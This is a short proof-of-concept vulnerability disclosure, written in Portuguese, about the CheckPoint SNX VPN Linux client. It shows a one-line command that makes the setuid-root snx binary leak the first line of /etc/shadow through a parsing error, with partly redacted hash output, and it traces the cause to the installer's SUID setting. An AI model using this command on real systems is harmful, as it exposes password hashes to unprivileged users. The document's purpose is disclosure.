
Prova de Conceito para leitura privilegiada de arquivos através do CheckPoint SNX VPN Linux Client
Prova de conceito para leitura privilegiada de arquivos através do cliente Linux CheckPoint SNX VPN.
Para explorar, basta carregar qualquer arquivo como configuração SNX usando o parâmetro -f. Se o arquivo não for uma configuração SNX válida, exibirá um erro e mostrará um erro de sintaxe, vazando o conteúdo até que um terminador de string seja encontrado (ex.: etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
A causa é que o executável /usr/bin/snx possui o bit SETUID e é executado como superusuário, configurado durante a instalação.
Em particular, a variável COMMAND_TO_RUN definida no arquivo de instalação .sh (CheckPointVPN_SNX_Linux_800007075.sh):
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
No parâmetro --mode=u=rxs, o último s define o bit SUID, fazendo com que o binário executável seja executado como root.